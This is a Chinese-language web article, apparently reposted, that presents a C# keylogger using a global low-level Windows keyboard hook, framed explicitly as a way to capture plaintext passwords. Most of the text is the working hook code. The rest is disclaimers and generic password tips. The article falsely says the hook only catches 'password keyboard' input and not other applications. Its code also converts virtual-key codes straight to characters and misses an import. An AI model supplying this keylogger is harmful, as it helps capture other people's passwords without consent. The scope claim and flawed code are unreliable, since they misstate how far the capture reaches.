C# 使用钩子函数监听密码键盘按下获取密码明文

钩子函数是一种在操作系统级别拦截并处理特定事件的技术。在 C# 中,可以使用钩子函数来监听用户在密码键盘上输入的字符,并获取密码明文。

重要提示: 此方法存在严重的安全风险,可能侵犯用户隐私。请谨慎使用,并仅用于学习目的,不得用于任何非法活动。

以下是一个示例代码,演示如何使用钩子函数来获取密码明文:

using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

public class KeyLogger
{
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;

    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    public static void Main()
    {
        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
    }

    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule)
        {
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            char keyChar = Convert.ToChar(vkCode);
            Console.WriteLine('Key pressed: ' + keyChar);
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
}

在上面的示例代码中,我们使用了SetWindowsHookEx函数来设置键盘钩子。钩子函数是HookCallback,它会在用户按下键盘键时被调用。在钩子函数中,我们使用Marshal.ReadInt32(lParam)来读取键盘输入的字符的虚拟键代码,然后使用Convert.ToChar(vkCode)将其转换为字符。最后,我们可以将获取到的密码明文输出到控制台中。

请注意:

  • 这种方法只能用于监听密码键盘的输入,而不能用于获取用户在其他应用程序中输入的密码。
  • 此方法可能会侵犯用户隐私,因此应谨慎使用。
  • 任何使用此方法获取用户密码的行为都可能构成违法行为。

为了保护用户隐私,请勿使用此方法获取用户密码。

建议:

  • 使用更安全的密码管理方法,例如使用密码管理器。
  • 避免在公共场所使用不安全的网络连接。
  • 定期更改密码,并使用强密码。

免责声明: 本文仅用于学习和研究目的,不应用于任何非法活动。作者不对任何使用此方法造成的后果负责。

C# 键盘钩子获取密码明文 - 安全风险与示例代码

原文地址: https://www.cveoy.top/t/topic/lKI7 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录